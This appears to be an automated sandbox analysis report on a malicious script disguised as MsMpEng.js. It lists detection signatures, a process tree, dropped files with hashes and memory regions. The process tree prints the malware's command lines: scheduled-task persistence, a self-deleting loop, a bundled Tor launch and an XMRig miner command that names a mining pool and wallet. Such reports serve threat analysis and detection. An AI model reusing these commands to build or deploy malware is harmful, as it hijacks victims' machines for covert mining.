Analysis

  • max time kernel
    297s
  • max time network
    297s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240221-en
  • resource tags

    arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    09/04/2024, 13:33

General

  • Target
    MsMpEng.js
  • Size 24.2MB
  • Sample240409-qthc1abe5y
  • SHA256 b27dd5407a22c8df93090fbc1a3eb93c6461f4a279cfabd87b4b21e246bda458
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • XMRig Miner payload 2 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 14 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

  • Loads dropped DLL 8 IoCs
  • AutoIT Executable 4 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 4 IoCs
  • NTFS ADS 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of FindShellTrayWindow 28 IoCs
  • Suspicious use of SendNotifyMessage 27 IoCs
  • Suspicious use of WriteProcessMemory 49 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\MsMpEng.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1948
    • C:\Users\Admin\AppData\Local\Temp\x.exe
      "C:\Users\Admin\AppData\Local\Temp\x.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:4060
      • C:\Users\Admin\AppData\Local\Temp\CL_Debug_Log.txt
        C:\Users\Admin\AppData\Local\Temp\CL_Debug_Log.txt e -p"JDQJndnqwdnqw2139dn21n3b312idDQDB" "C:\Users\Admin\AppData\Local\Temp\CR_Debug_Log.txt" -o"C:\Users\Admin\AppData\Local\Temp\"
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:1112
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c schtasks.exe /Create /XML "C:\Users\Admin\AppData\Local\Temp\SystemCheck.xml" /TN "System\SystemCheck"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3284
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks.exe /Create /XML "C:\Users\Admin\AppData\Local\Temp\SystemCheck.xml" /TN "System\SystemCheck"
          4⤵
          • Creates scheduled task(s)
          PID:3176
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c For /L %i In (0,0,0) Do (del "C:\Users\Admin\AppData\Local\Temp\x.exe"&&timeout /t 0&&if not exist "C:\Users\Admin\AppData\Local\Temp\x.exe" exit)
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:420
        • C:\Windows\SysWOW64\timeout.exe
          timeout /t 0
          4⤵
          • Delays execution with timeout.exe
          PID:4992
        • C:\Windows\SysWOW64\timeout.exe
          timeout /t 0
          4⤵
          • Delays execution with timeout.exe
          PID:4168
        • C:\Windows\SysWOW64\timeout.exe
          timeout /t 0
          4⤵
          • Delays execution with timeout.exe
          PID:332
        • C:\Windows\SysWOW64\timeout.exe
          timeout /t 0
          4⤵
          • Delays execution with timeout.exe
          PID:4080
  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
    1⤵
    • Executes dropped EXE
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:3936
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • NTFS ADS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:1204
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
        7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\"
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:2476
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\tor.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\tor.exe" -f TorConfig
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:1576
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
        7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SysBackup.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\"
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:4984
      • C:\Windows\System32\attrib.exe
        -a RandomX -o stratum+tcp://xmr.2miners.com:2222 -u 8BayjhYeujm9whuyNMsrd46tWdEd4JfAPfq6nXn1S4zrLzB9dduLbPuFPb3M2ZRFtfa6Zugfv5643AuBbmP8PDHaS3hQDdi.fhaw -p x -t 6
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Views/modifies file attributes
        PID:1492
  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
    1⤵
    • Executes dropped EXE
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2160
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:4016
  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
    1⤵
    • Executes dropped EXE
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:4668
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:4976
  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
    1⤵
    • Executes dropped EXE
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2484
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:3112
  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
    1⤵
    • Executes dropped EXE
    PID:1516

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        32.exe

        • Path C:\Users\Admin\AppData\Local\Temp\32.exe
        • Size 7.4MB
        • SHA256 6cd0a0976cff64c5287c166b73e5c877f026274f85599344756c47e9aa756bcb
        • MD5 SHA1 SHA512 SSDEEP

        64.exe

        • Path C:\Users\Admin\AppData\Local\Temp\64.exe
        • Size 8.4MB
        • SHA256 390126ab71cd12f414f4200cc246d5283c534ab216794ce9980048779960ea68
        • MD5 SHA1 SHA512 SSDEEP

        CL_Debug_Log.txt

        • Path C:\Users\Admin\AppData\Local\Temp\CL_Debug_Log.txt
        • Size 722KB
        • SHA256 ea308c76a2f927b160a143d94072b0dce232e04b751f0c6432a94e05164e716d
        • MD5 SHA1 SHA512 SSDEEP

        CR_Debug_Log.txt

        • Path C:\Users\Admin\AppData\Local\Temp\CR_Debug_Log.txt
        • Size 14.6MB
        • SHA256 0afc8b7c47f48ef991535d435d48411ea12c4b98f14253a27b15ec6d7f020620
        • MD5 SHA1 SHA512 SSDEEP

        SystemCheck.xml

        • Path C:\Users\Admin\AppData\Local\Temp\SystemCheck.xml
        • Size 2KB
        • SHA256 0fe356f3d04bb43f772604b049fd2b20f3038ca2ce84bf9778b8ccdd481d77ab
        • MD5 SHA1 SHA512

        autB3FE.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\autB3FE.tmp
        • Size 14.6MB
        • SHA256 12afa4813940c6985259f487d5e2892550596a60c6c77f806aefa2c254c74bb4
        • MD5 SHA1 SHA512 SSDEEP

        x.exe

        • Path C:\Users\Admin\AppData\Local\Temp\x.exe
        • Size 18.1MB
        • SHA256 41686ad9f581037f44b72b37f8bee562512854fc6807c5a13ea1646cdeab61c8
        • MD5 SHA1 SHA512 SSDEEP

        SysBackup.tmp

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SysBackup.tmp
        • Size 12KB
        • SHA256 4a392984f77fd687e2e0fc910af5692d28128026356811990d1825c571efdcaf
        • MD5 SHA1 SHA512 SSDEEP

        SysBackup.tmp

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SysBackup.tmp
        • Size 2.6MB
        • SHA256 03b7f47481eaf1f2c942f4a41a3a6411e22493c2d5b25ab1cab38ffe11cccb76
        • MD5 SHA1 SHA512 SSDEEP

        SysBackup.txt

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SysBackup.txt
        • Size 15.8MB
        • SHA256 188b7e3f0135cf683c393ab88930e93f29d4a0c31c08841237afaf543ecb2e12
        • MD5 SHA1 SHA512 SSDEEP

        Tor.tmp

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor.tmp
        • Size 2.5MB
        • SHA256 9a78c80e93bd1ed3d71eb090465e39a69470cd1812fc5e169d8b412e8c665963
        • MD5 SHA1 SHA512 SSDEEP

        cached-certs

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\TorDataSocksListenAddress 127.0.0.1\cached-certs
        • Size 15KB
        • SHA256 f4b1f1d1c601abe56a2a95ba225c2f0cb4c18807440b51aa957611b0ac345be3
        • MD5 SHA1 SHA512 SSDEEP

        cached-microdesc-consensus

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\TorDataSocksListenAddress 127.0.0.1\cached-microdesc-consensus
        • Size 2.6MB
        • SHA256 d4244a317932d44c7cdc64bf716a1452c61bfafd28b8ab0fa85fb785725e8dbc
        • MD5 SHA1 SHA512 SSDEEP

        cached-microdescs.new

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\TorDataSocksListenAddress 127.0.0.1\cached-microdescs.new
        • Size 6.1MB
        • SHA256 f98bf7553d9a9964951be2df23bc5f91407edff634e08548bfb81307d61ecc82
        • MD5 SHA1 SHA512 SSDEEP

        cached-microdescs.new

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\TorDataSocksListenAddress 127.0.0.1\cached-microdescs.new
        • Size 20.4MB
        • SHA256 8be4d679ebb71efa5965baad7f3ec1ebd32e2396d3cc0f29ccde69cd9e8a2d6f
        • MD5 SHA1 SHA512 SSDEEP

        state

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\TorDataSocksListenAddress 127.0.0.1\state
        • Size 4KB
        • SHA256 b65f6c81353668caf6101e6d674856ef37e509eaf21d43d8d0ca1e7db17ba149
        • MD5 SHA1 SHA512 SSDEEP

        Tor.pid

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\TorData\Tor.pid
        • Size 6B
        • SHA256 527207884ae77348e6d2850a39f4762fd9ca47f3aa21ca19ce30eb12bc27420d
        • MD5 SHA1 SHA512

        TorConfig

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\TorData\TorConfig
        • Size 201B
        • SHA256 69d57bfb46ef8097c1cfca65885790421d0e0965b7778f165cd7df9368807776
        • MD5 SHA1 SHA512

        libcrypto-1_1-x64.dll

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libcrypto-1_1-x64.dll
        • Size 3.4MB
        • SHA256 af682ad107cf0e9d9f11adeaf88f817610988b56577c4020897debc0f98e26ff
        • MD5 SHA1 SHA512 SSDEEP

        libevent-2-1-7.dll

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libevent-2-1-7.dll
        • Size 974KB
        • SHA256 98d06628e3d9c8097d239722e83ad78eb0b41b1e2f54d50a500da6d9292ff747
        • MD5 SHA1 SHA512 SSDEEP

        libevent_core-2-1-7.dll

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libevent_core-2-1-7.dll
        • Size 646KB
        • SHA256 d6a7d46f6fc803b50460d03c0bc14f2f128ee2becabcf1713715bcebf13ee75b
        • MD5 SHA1 SHA512 SSDEEP

        libevent_extra-2-1-7.dll

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libevent_extra-2-1-7.dll
        • Size 657KB
        • SHA256 ec52e90c68dd0e7603df3f9fe6c909d019a7e94dc3ce0efd8baf67864a43b74b
        • MD5 SHA1 SHA512 SSDEEP

        libgcc_s_seh-1.dll

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libgcc_s_seh-1.dll
        • Size 1.1MB
        • SHA256 b94b8981f8110944c5b03c9cba4066e9d0daa13687dead387bcbc772132c6d24
        • MD5 SHA1 SHA512 SSDEEP

        libssl-1_1-x64.dll

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libssl-1_1-x64.dll
        • Size 965KB
        • SHA256 38200438cf0c9c20d17e5b9030d2ad2e4a1b6b9dc41c287bc603dd50d22e67bb
        • MD5 SHA1 SHA512 SSDEEP

        libssp-0.dll

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libssp-0.dll
        • Size 313KB
        • SHA256 c6dca12e0e896df5f9b2db7a502a50d80d4fb014d7ec2f2ceb897b1a81f46ead
        • MD5 SHA1 SHA512 SSDEEP

        libwinpthread-1.dll

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libwinpthread-1.dll
        • Size 608KB
        • SHA256 27b857131977106c4a71ce626225d52a3d6e2932cb6243cb83e47b8d592d0d4f
        • MD5 SHA1 SHA512 SSDEEP

        tor.exe

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\tor.exe
        • Size 4.3MB
        • SHA256 7052619814a614a1b157c5c94a92dbec22b425a0977ac8b21958b8db81e2dd65
        • MD5 SHA1 SHA512 SSDEEP

        zlib1.dll

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\zlib1.dll
        • Size 107KB
        • SHA256 da9185e45fdcbee17fcd9292979b20f32aa4c82bc2cb356b4c7278029e247557
        • MD5 SHA1 SHA512 SSDEEP

        memory/1492-3599-0x0000020592C80000-0x0000020592CA0000-memory.dmp

        memory/1492-3591-0x0000020592C80000-0x0000020592CA0000-memory.dmp

        memory/1492-3597-0x00000204FF6C0000-0x00000204FF6E0000-memory.dmp

        memory/1492-3595-0x00000204FE860000-0x00000204FF371000-memory.dmp

        memory/1492-3592-0x0000020592CA0000-0x0000020592CC0000-memory.dmp

        memory/1492-3594-0x0000020592CE0000-0x0000020592D00000-memory.dmp

        memory/1492-3593-0x0000020592CC0000-0x0000020592CE0000-memory.dmp

        memory/1492-3598-0x00000204FF6F0000-0x00000204FF710000-memory.dmp

        memory/1492-3590-0x00000204FF6F0000-0x00000204FF710000-memory.dmp

        memory/1492-3589-0x00000204FF6C0000-0x00000204FF6E0000-memory.dmp

        memory/1492-3588-0x0000020591BD0000-0x0000020591C10000-memory.dmp

        memory/1492-3587-0x00000204FE860000-0x00000204FF371000-memory.dmp

        memory/1492-3600-0x0000020592CA0000-0x0000020592CC0000-memory.dmp

        memory/1492-3601-0x0000020592CC0000-0x0000020592CE0000-memory.dmp

        memory/1492-3602-0x0000020592CE0000-0x0000020592D00000-memory.dmp

        memory/1576-100-0x0000000072F40000-0x0000000072FD8000-memory.dmp

        memory/1576-103-0x0000000072B40000-0x0000000072E2D000-memory.dmp

        memory/1576-97-0x0000000000560000-0x00000000009C1000-memory.dmp

        memory/1576-98-0x0000000073040000-0x0000000073123000-memory.dmp

        memory/1576-879-0x0000000000560000-0x00000000009C1000-memory.dmp

        memory/1576-493-0x0000000000560000-0x00000000009C1000-memory.dmp

        memory/1576-328-0x0000000000560000-0x00000000009C1000-memory.dmp

        memory/1576-99-0x0000000072FE0000-0x0000000073034000-memory.dmp

        memory/1576-101-0x0000000072F10000-0x0000000072F33000-memory.dmp

        memory/1576-102-0x0000000072E30000-0x0000000072F03000-memory.dmp

        memory/1576-118-0x0000000000560000-0x00000000009C1000-memory.dmp

        memory/1576-135-0x0000000000560000-0x00000000009C1000-memory.dmp

        memory/1576-161-0x0000000000560000-0x00000000009C1000-memory.dmp

        memory/1576-152-0x0000000000560000-0x00000000009C1000-memory.dmp

        memory/1576-145-0x0000000000560000-0x00000000009C1000-memory.dmp

        memory/2476-49-0x000001633D6F0000-0x000001633D813000-memory.dmp

        memory/2476-52-0x000001633D6F0000-0x000001633D813000-memory.dmp

        memory/2476-54-0x000001633D6F0000-0x000001633D813000-memory.dmp

        memory/2476-75-0x000001633D6F0000-0x000001633D813000-memory.dmp

        memory/4060-10-0x0000000000760000-0x0000000001986000-memory.dmp

        memory/4060-12-0x0000000000760000-0x0000000001986000-memory.dmp

        memory/4060-38-0x000000000B2B0000-0x000000000B2B1000-memory.dmp

        memory/4060-39-0x000000000B2C0000-0x000000000B2C1000-memory.dmp

        memory/4060-44-0x0000000000760000-0x0000000001986000-memory.dmp

        memory/4060-37-0x000000000B2A0000-0x000000000B2A1000-memory.dmp

        memory/4984-3560-0x000002CB8F860000-0x000002CB8F983000-memory.dmp

        memory/4984-3565-0x000002CB8F860000-0x000002CB8F983000-memory.dmp